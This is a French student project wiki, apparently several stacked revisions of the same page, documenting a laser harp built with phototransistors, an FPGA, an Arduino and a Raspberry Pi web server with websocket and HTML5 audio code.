Puis, nous avons réitéré l'expérience en mettant le système dans une boîte. Cette fois, le valeur est passée de 840 quand le capteur est éclairé par le laser à 900 quand le faisceau est coupé.
Nous en avons déduit que nous allons devoir refaire l'expérience une fois la harpe assemblée.

Les lasers étant très directionnels tout comme les phototransistors, nous n'aurons pas de soucis d'interférences. Un capteur détectera uniquement le laser situé directement en face de lui et non ceux de son voisinage.

=== Partie boitier ===

Même si il peut paraitre futile d'insérer une partie boitier dans un projet centré sur l'informatique et l'électronique, il s'est avéré que le boitier de notre Harpe nécessitait une attention particulière.

La taille de la harpe à été un sujet de débat, et nous avons réalisé des tests afin de vérifier que des phototransistors trop proches les uns des autres n'allait pas compromettre le bon fonctionnement de la harpe dans son ensemble. En effet, si le phototransistor détectait un autre laser que celui vers lequel il pointe serait extrêmement problématique. Heureusement, il s'est avéré que les phototransistors sont très directionnels, au point que se pose désormais le problème inverse.

Nous allons devoir faire très attention au fait que les lasers soient bien fixés et pointent exactement vers les phototransistors, car dans le cas contraire, ceux-ci ne détectent absolument pas le laser, et tout le principe de fonctionnement s'effondre. La conception et l'assemblage de la boite devront donc être relativement précis, pour éviter ces problèmes.

Enfin, nous avons dès le départ décidé d'éviter l'utilisation de diodes infra-rouges, pour leur préférer les lasers. Tout d'abord, parce que les diodes ne sont en aucun cas assez puissantes pour être détectées par les phototransistors, ce qui une fois de plus rend notre harpe inutile. Ensuite, parce qu'il nous a semblé que réaliser une harpe 'laser' sans lasers était un concept déconcertant, et enlève beaucoup de l’intérêt de ce projet.

Un premier jet de design avait été réalisé avant cette séance, et au vu des données récoltées pendant celle-ci, nous l'avons modifié pour les prendre en compte, notamment la taille des lasers par rapport aux diodes, et la précision requise.

'insérer photos premiers schémas ici'

=== Partie informatique ===
Le travail a été séparé en 2 parties, une personne par partie :
- une première partie sur le serveur même (page web, système de streaming de son depuis la page web)
- une seconde partie sur la lecture du port série

==== Partie serveur ====
La première séance a été consacré à deux grands axes : prendre la main à distance sur le raspberry pi et mettre en place le serveur web.
Afin de pouvoir contrôler et travailler facilement sur le RPi, l'outil vncserver a été installé sur le raspberry, permettant de contrôler via un interface graphique le RPi depuis un ordinateur branché sur le même réseau. Cet utilitaire permettra a l'avenir de travailler directement sur le RPi sans devoir constamment uploader par ssh le travail effectué.

Coté mise en place du serveur web, l'utilitaire de serveur web apache2 a été installé sans soucis, et les pages d'exemples web et javascript fonctionnent. En revanche, l'utilisation du code d'exemple sur les sockets n'est pas utilisable, le paquet proposé n’existe pas et le site du paquet de socket est mort.
Le reste de la séance a été consacré a des recherches sur les moyens de pouvoir streamer du son, recherches non concluantes. Aucune solution n'a été trouvé sans passer par un service internet hébergé par un tier.

==== Partie lecture port série ====

Cette première séance fut consacrée à la sélection du langage de programmation et à sa prise en main. Il a été décidé d'utiliser Python pour écrire le programme récupérant et traitant les données récupérées à travers le port série. Python étant un langage fort usité, il possède une très large documentation. Ce fut donc facile de trouver la librairie permettant de lire les données envoyées par le port série.

Un doute subsiste encore sur le type de données envoyé par le port série. L'idéal serait de récupérer un tableau de 8 entiers de type binaire correspondant aux états des 8 ports liés aux "cordes" laser, pour pouvoir ensuite traiter ces données facilement.

== Séance 2 ==

=== Partie électronique ===
Lors de cette séance, nous avons réalisé le premier circuit sur le FPGA.

Nous avons commencé par réaliser un circuit simple, qui envoie en permanence l'état des huit phototransistors au port série. Les phototransistors sont alors directement reliés à celui-ci. Nous avons pu tester le bon fonctionnement du système grâce aux diodes du FPGA. Nous avons branché en parallèle sur le circuit les huit diodes, afin de vérifier qu'un signal était bien envoyé en permanence, on a pu les voir s'éteindre lorsqu'on éclairait un laser.
Ces diodes se sont avérées très utiles, car il n'est pas encore possible d'effectuer les tests sur le port série, car la partie informatique n'est pas encore opérationnelle, on ne peut donc pas lire directement sur le port série pour le moment.

'Insérer montage d'envoi constant ici'

Nous avons ensuite réalisé un montage permettant de faire l'envoi seulement sur changement d'état, comme prévu à la séance 1 Nous avons donc réalisé un système de bascules permettant de comparer l'état actuel de chaque diode avec son état précédent, puis de réaliser l'envoi seulement si une différence était observée. Comme précédemment, les diodes sont reliées directement au Port Série, mais cette fois-ci au lieu de brancher le Bit d'envoi du port Série sur un Vcc, soit un '1' logique, nous l'avons relié à la vérification de changement d'état, qui passe à '1' uniquement avec un changement d'état.

'Insérer montage d'envoi sur changement d'état ici'

Le problème qui s'est alors posé était de savoir si on envoyait le signal assez longtemps pour qu'il puisse être lu. En effet on envoie un signal seulement si il y a changement d'état, et cette vérification se fait à chaque incrément d'horloge. Hors, la différence sera donc observée sur un seul incrément d'horloge, par conséquent, on n'envoie de signal que pendant ce seul incrément. Pour l'instant, nous supposons que le port série est capable de stocker les données à envoyer en un seul incrément d'horloge.
Cependant, si lors des tests, ça ne fonctionne pas, nous prévoyons d'utiliser un compteur pour pouvoir envoyer le signal plus longtemps au Bit d'envoi du port série, et ainsi laisser le temps au port série d'envoyer l'information.

=== Partie boitier ===

Pendant cette séance, nous nous sommes focalisés sur le FPGA, mais nous avons néanmoins terminé la conception du boitier de la harpe, sous la forme de trois 'boites' crénelées, que nous avons ensuite l'intention de découper au FabLab puis d'assembler.

'insérer photos des boites ici'

Il s'est avéré que réaliser des boites crénelées rendrait tout le boitier beaucoup plus solide, et donc fiable.

=== Partie informatique ===
Le problème de l'impossibilité d'utiliser l'exemple sur les sockets a été résolu, grâce à l'intervention de M. Redon. Le problème était une différence de version de la distribution Linux entre le RPi utilisé et celle utilisé pour l'exemple. En effet, le RPi de travail est sur une distribution Wheezy, alors que la version la plus récente est la Jessie. Les chemins des dépots des sources de la librairie libwebsocket n’existant pas sur Wheezy, on ne pouvait installer la librairie directement en ligne de commande. M. Redon a ajouté le chemin de la librairie dans le gestionnaire de paquet du RPi et on a pu utiliser sans problèmes la librairie. De plus le site du paquet libwebsocket n'était inaccessible que temporairement.
La séance a été consacré à comprendre le fonctionnement des sockets et comment l'exemple html interagissait avec.

La partie importante du code d'exemple est la suivante :

static int callback_my(
struct libwebsocket_context * this,
struct libwebsocket *wsi,enum libwebsocket_callback_reasons reason,
void *user,void *in,size_t len)
{
static char *message=NULL;
static int msize=0;
switch(reason){
case LWS_CALLBACK_ESTABLISHED:
printf("connection established\n");
message=NULL;
// Declenchement d'un prochain envoi au navigateur
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_RECEIVE:
// Ici sont traites les messages envoyes par le navigateur
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);
if(message==NULL){ perror("callback_my.malloc"); exit(EXIT_FAILURE); }
memcpy(message+LWS_SEND_BUFFER_PRE_PADDING,in,len);
// Declenchement d'un prochain envoi au navigateur
msize=len;
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_SERVER_WRITEABLE:
// Ici sont envoyes les messages au navigateur
if(message!=NULL){
char *out=message+LWS_SEND_BUFFER_PRE_PADDING;
libwebsocket_write(wsi,(unsigned char *)out,msize,LWS_WRITE_TEXT);
free(message);
message=NULL;
}
break;
default:
break;
}
return 0;
}

Il s'agit d'une fonction de callback gérant à la fois la réception et la transmission. On peut remarquer 3 cas du switch : LWS_CALLBACK_ESTABLISHED correspondant à la création d'un lien entre la page web et le serveur websocket à la demande de la page web, LWS_CALLBACK_RECEIVE correspondant aux actions à entreprendre à la réception d'un message provenant du navigateur web, et LWS_CALLBACK_SERVER_WRITEABLE correspondant aux actions afin d'envoyer un message au navigateur.

Coté HTML, on utilise les sockets grâce à ce code suivant :

window.WebSocket=(window.WebSocket||window.MozWebSocket);

var websocket=new WebSocket('ws://127.0.0.1:9000','myprotocol');

websocket.onopen=function(){ $('h1').css('color','green'); };

websocket.onerror=function(){ $('h1').css('color','red'); };

websocket.onmessage=function(message){
console.log(message.data);
$('#messages').append($('<p>',{ text: message.data }));
};
function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');

La fonction websocket.onmessage gère le traitement à faire coté client quand le serveur envoie des informations, et la fonction sendMessage permet l'envoie d'information du client vers le serveur.

Pour notre projet, nous avons besoin principalement, dans un premier temps, d'envoyer des informations du serveur vers le client, nous nous sommes donc concentrer à comprendre et modifier les parties du code fourni suivantes : websocket.onmessage coté client et le "case LWS_CALLBACK_SERVER_WRITEABLE:" coté serveur.

Le but des tests était de réussir à faire jouer deux sons différents par le client, avec changement de son imposé par le serveur. HTML5 propose nativement de lire des sons à partir d'une source grâce à une balise audio :
<audio controls="controls" id="mySound">
</audio>
On récupère l'identifiant de cette balise avec
var test1 = document.getElementById("mySound");
afin de pouvoir l'utiliser de n'importe où dans le programme.
On définit la source grâce à
test1.src="sound.mp3";
avec "sound.mp3" le chemin d'accès au fichier son par rapport à l'emplacement du fichier html sur le serveur. Ici, le fichier son sound.mp3 est dans le même dossier que la page index.html.
Enfin, on peut lire le son avec
test1.play();

Le but du projet étant d'émettre en continue le son généré par la harpe, l'objectif ici est soit de générer un fichier de streaming que l'on lit en continue, soit de lire un fichier différent par son possible et on change la valeur de test1.src en fonction du son à lire, soit on lit toujours la même source, mais que l'on modifie à la volée en fonction du son voulu. La première option a été étudiée jusqu'en fin de séance.
Nous n'avons pas réussi à comprendre comment générer un fichier de streaming audio simple, de plus toutes les documentations et exemples trouvés ne concernant qu'un streaming simultanée de son et de vidéo à partir d'une caméra et d'un micro, et nous n'avons pas compris comment adapter ces exemples.

int cpt;
for (cpt = 0; cpt < 250000000; cpt++);

boole = !boole;
printf("changement: %d\n",boole);
if(boole)
system("sudo cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("sudo cp Raindrops-noise.mp3 ./sound.mp3");
}

== Séance 3 ==

=== Partie électronique ===

Pendant cette séance, nous avons pu tester l'envoi sur changement d'état, toujours avec les diodes du FPGA.

Nous avons commencé par ajouter une horloge sur le détecteur de changement d'état, afin d'augmenter le nombre d'incréments d'horloge sur lequel il est à '1', et ce dans le but de rendre le clignotement d'un diode visible à l’œil nu.
Ensuite, nous avons relié la sortie du détecteur de changement d'état et des phototransistors par un 'ET' logique, que nous avons ensuite relié aux diodes du FPGA.
De cette façon, si l'on détecte un changement d'état sur un phototransistor, la nouvelle valeur est alors envoyée sur les diodes. Le système a fonctionné (à voir :p ).

'insérer photos du test avec changement d'état ici'

Nous avons ensuite passé le reste de la séance à mettre en commun notre partie avec la partie informatique, en essayant de leur permettre de lire sur le port série du FPGA. Les essais ont pour l'instant été infructueux, mais des progrès ont été faits.

L'objectif étant que le Raspberry Pi puisse lire les informations envoyées par le FPGA, pour ensuite les transmettre au site Web que nous allons réaliser par la suite.

=== Partie informatique ===

== Séance supplémentaire 1 : Réalisation du site Web ==

Nous avons réalisé ce site web lors de notre temps libre afin de permettre la communication entre le Raspberry Pi et l'ordinateur. En effet, il était inclus dans notre projet de devoir réaliser une communication par internet. Ce site internet va donc remplir cette condition. Sur celui-ci, on pourra trouver une brève description de notre projet, un lien vers le wiki, une image exemple d'un harpe et les boutons Play et Pause qui permettent d'activer et de désactiver la harpe laser.

== Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' ==

Nous nous sommes réunis à plusieurs occasions en dehors des heures de projet afin d'avancer sur notre harpe. Nous avons donc décidé que nous devions réaliser un programme sur Arduino nous permettant de réaliser des tests de transmission par la liaison série sans avoir besoin du FPGA. Dans un premier temps, nous avons tenté d'utiliser le port USB comme liaison série. Cependant, il s'est avéré que le Raspberry pi ne pouvait pas lire son port USB, ce qui nous a donc forcé à utiliser les pins de communication série de l'Arduino.
Nous sommes sur un Arduino Mega 2560, nous avons a notre disposition plusieurs pins de communication série différents. Ils seront utilisés uniquement en transmission. Pour communiquer, nous allons ensuite utiliser le pin Tx1. Nous aboutissons donc au programme suivant:

[[Fichier:Setup.PNG]]

[[Fichier:Captprog.PNG]]

La communication série de ce programme nous a causé des problèmes, surtout du fait que l'ordinateur ne recevait pas les informations transmises par l'Arduino. Nous avons donc du effectuer de multiples tests afin de voir où se situait le problème. Nous avons pu déterminer que nous avions un problème au niveau de notre pont diviseur de tension entre l'alimentation de l’Arduino et celle du Raspberry Pi, nous avons alors changé les résistances.
Nous avons également notamment modifié le programme afin de vérifier que l'information était bien transmise sur le Pin Série de l'Arduino, et que le problème ne venait donc pas de l'Arduino mais bien du Raspberry, qui ne transmet pas correctement l'information à l'ordinateur.

== Séance supplémentaire 3 : Assemblage de la boite et mise en place des composants ==

== Conclusion ==

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T08:43:14Z

Bcartier : /* Partie informatique */

= Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser =

== Cahier des charges ==

=== Description du système ===

Pour le projet Système Communicant, nous allons réaliser une harpe laser. Notre but est de créer un instrument de musique similaire à une harpe, où les cordes sont remplacées par des capteurs infra-rouges.

Un son sera émis par l'ordinateur dès que le capteur IR captera une main et le joueur pourra avec son autre main moduler l'amplitude de la note.

Dans un premier temps, on travaillera sur une gamme de son sur 8 bits. Puis, nous implémenterons une banque de sons qui nous permettra de sélectionner l'instrument désiré, d'où l'appellation Synt'Harpe.

L'ordinateur décidera du fonctionnement ou non de la harpe. C'est aussi grâce à lui qu'on pourra choisir la banque de sons voulue.

Toutes les banques de sons seront enregistrées sur le Raspberry.
Les LEDs signaleront l'emplacement des cordes.

Pour la partie optionnelle, on remplacera les LEDs par des lasers pour un effet visuel de qualité (plus poussé). La fumée permettra de voir les lasers.

=== Le matériel ===
* Un raspberry pi
* 8 phototransistors
* 8 émetteurs lasers
* Des résistances
* Une structure
* Carte d'acquisition de type Arduino au début puis FPGA
* Un ordinateur
* Une alimentation

=== Optionnel (visuel) ===

* 8 émetteurs laser
* Un générateur de fumée
* Une caméra

== Séance 1 ==

=== Partie électronique ===
Le but de cette première séance était de se répartir les tâches, de tester le matériel mit à disposition et de découvrir le fonctionnement du FPGA.

Le principe de fonctionnement de la harpe est le suivant:
Chaque capteur sera situé en face d'un laser. Les capteurs seront dans la partie haute de la harpe afin de limiter les interférences dues à d'autres sources lumineuses. Chaque laser pointera vers un capteur.

* Ajout du dessin de la harpe *

Les capteurs enverront tous par défaut la même valeur au FPGA. Quand l'utilisateur passera sa main dans la harpe, un faisceau laser sera coupé. Le capteur n'enverra plus sa valeur seuil au FPGA, il aura donc changé d'état.
Dès lors que le FPGA détectera un changement d'état, il enverra l'état dans lequel se trouvent les 8 capteurs au Raspberry.

Nous avons réalisé des tests sur les phototransistors et les lasers. Nous avons mis en parallèle un laser et deux capteurs, sans oublier leur résistance de 1.2k Ohms chacune.

Nous avons vu que à luminosité ambiante, quand le laser pointe sur le capteur, celui-ci envoie à l'Arduino une valeur de 950 environ. Ensuite, quand le faisceau laser est coupé, la valeur envoyée par le phototransistor monte à 1020.
Puis, nous avons réitéré l'expérience en mettant le système dans une boîte. Cette fois, le valeur est passée de 840 quand le capteur est éclairé par le laser à 900 quand le faisceau est coupé.
Nous en avons déduit que nous allons devoir refaire l'expérience une fois la harpe assemblée.

Les lasers étant très directionnels tout comme les phototransistors, nous n'aurons pas de soucis d'interférences. Un capteur détectera uniquement le laser situé directement en face de lui et non ceux de son voisinage.

=== Partie boitier ===

Même si il peut paraitre futile d'insérer une partie boitier dans un projet centré sur l'informatique et l'électronique, il s'est avéré que le boitier de notre Harpe nécessitait une attention particulière.

La taille de la harpe à été un sujet de débat, et nous avons réalisé des tests afin de vérifier que des phototransistors trop proches les uns des autres n'allait pas compromettre le bon fonctionnement de la harpe dans son ensemble. En effet, si le phototransistor détectait un autre laser que celui vers lequel il pointe serait extrêmement problématique. Heureusement, il s'est avéré que les phototransistors sont très directionnels, au point que se pose désormais le problème inverse.

Nous allons devoir faire très attention au fait que les lasers soient bien fixés et pointent exactement vers les phototransistors, car dans le cas contraire, ceux-ci ne détectent absolument pas le laser, et tout le principe de fonctionnement s'effondre. La conception et l'assemblage de la boite devront donc être relativement précis, pour éviter ces problèmes.

Enfin, nous avons dès le départ décidé d'éviter l'utilisation de diodes infra-rouges, pour leur préférer les lasers. Tout d'abord, parce que les diodes ne sont en aucun cas assez puissantes pour être détectées par les phototransistors, ce qui une fois de plus rend notre harpe inutile. Ensuite, parce qu'il nous a semblé que réaliser une harpe 'laser' sans lasers était un concept déconcertant, et enlève beaucoup de l’intérêt de ce projet.

Un premier jet de design avait été réalisé avant cette séance, et au vu des données récoltées pendant celle-ci, nous l'avons modifié pour les prendre en compte, notamment la taille des lasers par rapport aux diodes, et la précision requise.

'insérer photos premiers schémas ici'

=== Partie informatique ===
Le travail a été séparé en 2 parties, une personne par partie :
- une première partie sur le serveur même (page web, système de streaming de son depuis la page web)
- une seconde partie sur la lecture du port série

==== Partie serveur ====
La première séance a été consacré à deux grands axes : prendre la main à distance sur le raspberry pi et mettre en place le serveur web.
Afin de pouvoir contrôler et travailler facilement sur le RPi, l'outil vncserver a été installé sur le raspberry, permettant de contrôler via un interface graphique le RPi depuis un ordinateur branché sur le même réseau. Cet utilitaire permettra a l'avenir de travailler directement sur le RPi sans devoir constamment uploader par ssh le travail effectué.

Coté mise en place du serveur web, l'utilitaire de serveur web apache2 a été installé sans soucis, et les pages d'exemples web et javascript fonctionnent. En revanche, l'utilisation du code d'exemple sur les sockets n'est pas utilisable, le paquet proposé n’existe pas et le site du paquet de socket est mort.
Le reste de la séance a été consacré a des recherches sur les moyens de pouvoir streamer du son, recherches non concluantes. Aucune solution n'a été trouvé sans passer par un service internet hébergé par un tier.

==== Partie lecture port série ====

Cette première séance fut consacrée à la sélection du langage de programmation et à sa prise en main. Il a été décidé d'utiliser Python pour écrire le programme récupérant et traitant les données récupérées à travers le port série. Python étant un langage fort usité, il possède une très large documentation. Ce fut donc facile de trouver la librairie permettant de lire les données envoyées par le port série.

Un doute subsiste encore sur le type de données envoyé par le port série. L'idéal serait de récupérer un tableau de 8 entiers de type binaire correspondant aux états des 8 ports liés aux "cordes" laser, pour pouvoir ensuite traiter ces données facilement.

== Séance 2 ==

=== Partie électronique ===
Lors de cette séance, nous avons réalisé le premier circuit sur le FPGA.

Nous avons commencé par réaliser un circuit simple, qui envoie en permanence l'état des huit phototransistors au port série. Les phototransistors sont alors directement reliés à celui-ci. Nous avons pu tester le bon fonctionnement du système grâce aux diodes du FPGA. Nous avons branché en parallèle sur le circuit les huit diodes, afin de vérifier qu'un signal était bien envoyé en permanence, on a pu les voir s'éteindre lorsqu'on éclairait un laser.
Ces diodes se sont avérées très utiles, car il n'est pas encore possible d'effectuer les tests sur le port série, car la partie informatique n'est pas encore opérationnelle, on ne peut donc pas lire directement sur le port série pour le moment.

'Insérer montage d'envoi constant ici'

Nous avons ensuite réalisé un montage permettant de faire l'envoi seulement sur changement d'état, comme prévu à la séance 1 Nous avons donc réalisé un système de bascules permettant de comparer l'état actuel de chaque diode avec son état précédent, puis de réaliser l'envoi seulement si une différence était observée. Comme précédemment, les diodes sont reliées directement au Port Série, mais cette fois-ci au lieu de brancher le Bit d'envoi du port Série sur un Vcc, soit un '1' logique, nous l'avons relié à la vérification de changement d'état, qui passe à '1' uniquement avec un changement d'état.

'Insérer montage d'envoi sur changement d'état ici'

Le problème qui s'est alors posé était de savoir si on envoyait le signal assez longtemps pour qu'il puisse être lu. En effet on envoie un signal seulement si il y a changement d'état, et cette vérification se fait à chaque incrément d'horloge. Hors, la différence sera donc observée sur un seul incrément d'horloge, par conséquent, on n'envoie de signal que pendant ce seul incrément. Pour l'instant, nous supposons que le port série est capable de stocker les données à envoyer en un seul incrément d'horloge.
Cependant, si lors des tests, ça ne fonctionne pas, nous prévoyons d'utiliser un compteur pour pouvoir envoyer le signal plus longtemps au Bit d'envoi du port série, et ainsi laisser le temps au port série d'envoyer l'information.

=== Partie boitier ===

Pendant cette séance, nous nous sommes focalisés sur le FPGA, mais nous avons néanmoins terminé la conception du boitier de la harpe, sous la forme de trois 'boites' crénelées, que nous avons ensuite l'intention de découper au FabLab puis d'assembler.

'insérer photos des boites ici'

Il s'est avéré que réaliser des boites crénelées rendrait tout le boitier beaucoup plus solide, et donc fiable.

=== Partie informatique ===
Le problème de l'impossibilité d'utiliser l'exemple sur les sockets a été résolu, grâce à l'intervention de M. Redon. Le problème était une différence de version de la distribution Linux entre le RPi utilisé et celle utilisé pour l'exemple. En effet, le RPi de travail est sur une distribution Wheezy, alors que la version la plus récente est la Jessie. Les chemins des dépots des sources de la librairie libwebsocket n’existant pas sur Wheezy, on ne pouvait installer la librairie directement en ligne de commande. M. Redon a ajouté le chemin de la librairie dans le gestionnaire de paquet du RPi et on a pu utiliser sans problèmes la librairie. De plus le site du paquet libwebsocket n'était inaccessible que temporairement.
La séance a été consacré à comprendre le fonctionnement des sockets et comment l'exemple html interagissait avec.

La partie importante du code d'exemple est la suivante :

static int callback_my(
struct libwebsocket_context * this,
struct libwebsocket *wsi,enum libwebsocket_callback_reasons reason,
void *user,void *in,size_t len)
{
static char *message=NULL;
static int msize=0;
switch(reason){
case LWS_CALLBACK_ESTABLISHED:
printf("connection established\n");
message=NULL;
// Declenchement d'un prochain envoi au navigateur
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_RECEIVE:
// Ici sont traites les messages envoyes par le navigateur
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);
if(message==NULL){ perror("callback_my.malloc"); exit(EXIT_FAILURE); }
memcpy(message+LWS_SEND_BUFFER_PRE_PADDING,in,len);
// Declenchement d'un prochain envoi au navigateur
msize=len;
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_SERVER_WRITEABLE:
// Ici sont envoyes les messages au navigateur
if(message!=NULL){
char *out=message+LWS_SEND_BUFFER_PRE_PADDING;
libwebsocket_write(wsi,(unsigned char *)out,msize,LWS_WRITE_TEXT);
free(message);
message=NULL;
}
break;
default:
break;
}
return 0;
}

Il s'agit d'une fonction de callback gérant à la fois la réception et la transmission. On peut remarquer 3 cas du switch : LWS_CALLBACK_ESTABLISHED correspondant à la création d'un lien entre la page web et le serveur websocket à la demande de la page web, LWS_CALLBACK_RECEIVE correspondant aux actions à entreprendre à la réception d'un message provenant du navigateur web, et LWS_CALLBACK_SERVER_WRITEABLE correspondant aux actions afin d'envoyer un message au navigateur.

Coté HTML, on utilise les sockets grâce à ce code suivant :

window.WebSocket=(window.WebSocket||window.MozWebSocket);

var websocket=new WebSocket('ws://127.0.0.1:9000','myprotocol');

websocket.onopen=function(){ $('h1').css('color','green'); };

websocket.onerror=function(){ $('h1').css('color','red'); };

websocket.onmessage=function(message){
console.log(message.data);
$('#messages').append($('<p>',{ text: message.data }));
};

function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');

La fonction websocket.onmessage gère le traitement à faire coté client quand le serveur envoie des informations, et la fonction sendMessage permet l'envoie d'information du client vers le serveur.

Pour notre projet, nous avons besoin principalement, dans un premier temps, d'envoyer des informations du serveur vers le client, nous nous sommes donc concentrer à comprendre et modifier les parties du code fourni suivantes : websocket.onmessage coté client et le "case LWS_CALLBACK_SERVER_WRITEABLE:" coté serveur.

Le but des tests était de réussir à faire jouer deux sons différents par le client, avec changement de son imposé par le serveur. HTML5 propose nativement de lire des sons à partir d'une source grâce à une balise audio :
<audio controls="controls" id="mySound">
</audio>
On récupère l'identifiant de cette balise avec
var test1 = document.getElementById("mySound");
afin de pouvoir l'utiliser de n'importe où dans le programme.
On définit la source grâce à
test1.src="sound.mp3";
avec "sound.mp3" le chemin d'accès au fichier son par rapport à l'emplacement du fichier html sur le serveur. Ici, le fichier son sound.mp3 est dans le même dossier que la page index.html.
Enfin, on peut lire le son avec
test1.play();

Le but du projet étant d'émettre en continue le son généré par la harpe, l'objectif ici est soit de générer un fichier de streaming que l'on lit en continue, soit de lire un fichier différent par son possible et on change la valeur de test1.src en fonction du son à lire, soit on lit toujours la même source, mais que l'on modifie à la volée en fonction du son voulu. La première option a été étudiée jusqu'en fin de séance.
Nous n'avons pas réussi à comprendre comment générer un fichier de streaming audio simple, de plus toutes les documentations et exemples trouvés ne concernant qu'un streaming simultanée de son et de vidéo à partir d'une caméra et d'un micro, et nous n'avons pas compris comment adapter ces exemples.

int cpt;
for (cpt = 0; cpt < 250000000; cpt++);

boole = !boole;
printf("changement: %d\n",boole);
if(boole)
system("sudo cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("sudo cp Raindrops-noise.mp3 ./sound.mp3");
}

== Séance 3 ==

=== Partie électronique ===

Pendant cette séance, nous avons pu tester l'envoi sur changement d'état, toujours avec les diodes du FPGA.

Nous avons commencé par ajouter une horloge sur le détecteur de changement d'état, afin d'augmenter le nombre d'incréments d'horloge sur lequel il est à '1', et ce dans le but de rendre le clignotement d'un diode visible à l’œil nu.
Ensuite, nous avons relié la sortie du détecteur de changement d'état et des phototransistors par un 'ET' logique, que nous avons ensuite relié aux diodes du FPGA.
De cette façon, si l'on détecte un changement d'état sur un phototransistor, la nouvelle valeur est alors envoyée sur les diodes. Le système a fonctionné (à voir :p ).

'insérer photos du test avec changement d'état ici'

Nous avons ensuite passé le reste de la séance à mettre en commun notre partie avec la partie informatique, en essayant de leur permettre de lire sur le port série du FPGA. Les essais ont pour l'instant été infructueux, mais des progrès ont été faits.

L'objectif étant que le Raspberry Pi puisse lire les informations envoyées par le FPGA, pour ensuite les transmettre au site Web que nous allons réaliser par la suite.

=== Partie informatique ===

== Séance supplémentaire 1 : Réalisation du site Web ==

Nous avons réalisé ce site web lors de notre temps libre afin de permettre la communication entre le Raspberry Pi et l'ordinateur. En effet, il était inclus dans notre projet de devoir réaliser une communication par internet. Ce site internet va donc remplir cette condition. Sur celui-ci, on pourra trouver une brève description de notre projet, un lien vers le wiki, une image exemple d'un harpe et les boutons Play et Pause qui permettent d'activer et de désactiver la harpe laser.

== Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' ==

Nous nous sommes réunis à plusieurs occasions en dehors des heures de projet afin d'avancer sur notre harpe. Nous avons donc décidé que nous devions réaliser un programme sur Arduino nous permettant de réaliser des tests de transmission par la liaison série sans avoir besoin du FPGA. Dans un premier temps, nous avons tenté d'utiliser le port USB comme liaison série. Cependant, il s'est avéré que le Raspberry pi ne pouvait pas lire son port USB, ce qui nous a donc forcé à utiliser les pins de communication série de l'Arduino.
Nous sommes sur un Arduino Mega 2560, nous avons a notre disposition plusieurs pins de communication série différents. Ils seront utilisés uniquement en transmission. Pour communiquer, nous allons ensuite utiliser le pin Tx1. Nous aboutissons donc au programme suivant:

[[Fichier:Setup.PNG]]

[[Fichier:Captprog.PNG]]

La communication série de ce programme nous a causé des problèmes, surtout du fait que l'ordinateur ne recevait pas les informations transmises par l'Arduino. Nous avons donc du effectuer de multiples tests afin de voir où se situait le problème. Nous avons pu déterminer que nous avions un problème au niveau de notre pont diviseur de tension entre l'alimentation de l’Arduino et celle du Raspberry Pi, nous avons alors changé les résistances.
Nous avons également notamment modifié le programme afin de vérifier que l'information était bien transmise sur le Pin Série de l'Arduino, et que le problème ne venait donc pas de l'Arduino mais bien du Raspberry, qui ne transmet pas correctement l'information à l'ordinateur.

== Séance supplémentaire 3 : Assemblage de la boite et mise en place des composants ==

== Conclusion ==

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T08:40:55Z

Bcartier : /* Partie informatique */

= Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser =

== Cahier des charges ==

=== Description du système ===

Pour le projet Système Communicant, nous allons réaliser une harpe laser. Notre but est de créer un instrument de musique similaire à une harpe, où les cordes sont remplacées par des capteurs infra-rouges.

Un son sera émis par l'ordinateur dès que le capteur IR captera une main et le joueur pourra avec son autre main moduler l'amplitude de la note.

Dans un premier temps, on travaillera sur une gamme de son sur 8 bits. Puis, nous implémenterons une banque de sons qui nous permettra de sélectionner l'instrument désiré, d'où l'appellation Synt'Harpe.

L'ordinateur décidera du fonctionnement ou non de la harpe. C'est aussi grâce à lui qu'on pourra choisir la banque de sons voulue.

Toutes les banques de sons seront enregistrées sur le Raspberry.
Les LEDs signaleront l'emplacement des cordes.

Pour la partie optionnelle, on remplacera les LEDs par des lasers pour un effet visuel de qualité (plus poussé). La fumée permettra de voir les lasers.

=== Le matériel ===
* Un raspberry pi
* 8 phototransistors
* 8 émetteurs lasers
* Des résistances
* Une structure
* Carte d'acquisition de type Arduino au début puis FPGA
* Un ordinateur
* Une alimentation

=== Optionnel (visuel) ===

* 8 émetteurs laser
* Un générateur de fumée
* Une caméra

== Séance 1 ==

=== Partie électronique ===
Le but de cette première séance était de se répartir les tâches, de tester le matériel mit à disposition et de découvrir le fonctionnement du FPGA.

Le principe de fonctionnement de la harpe est le suivant:
Chaque capteur sera situé en face d'un laser. Les capteurs seront dans la partie haute de la harpe afin de limiter les interférences dues à d'autres sources lumineuses. Chaque laser pointera vers un capteur.

* Ajout du dessin de la harpe *

Les capteurs enverront tous par défaut la même valeur au FPGA. Quand l'utilisateur passera sa main dans la harpe, un faisceau laser sera coupé. Le capteur n'enverra plus sa valeur seuil au FPGA, il aura donc changé d'état.
Dès lors que le FPGA détectera un changement d'état, il enverra l'état dans lequel se trouvent les 8 capteurs au Raspberry.

Nous avons réalisé des tests sur les phototransistors et les lasers. Nous avons mis en parallèle un laser et deux capteurs, sans oublier leur résistance de 1.2k Ohms chacune.

Nous avons vu que à luminosité ambiante, quand le laser pointe sur le capteur, celui-ci envoie à l'Arduino une valeur de 950 environ. Ensuite, quand le faisceau laser est coupé, la valeur envoyée par le phototransistor monte à 1020.
Puis, nous avons réitéré l'expérience en mettant le système dans une boîte. Cette fois, le valeur est passée de 840 quand le capteur est éclairé par le laser à 900 quand le faisceau est coupé.
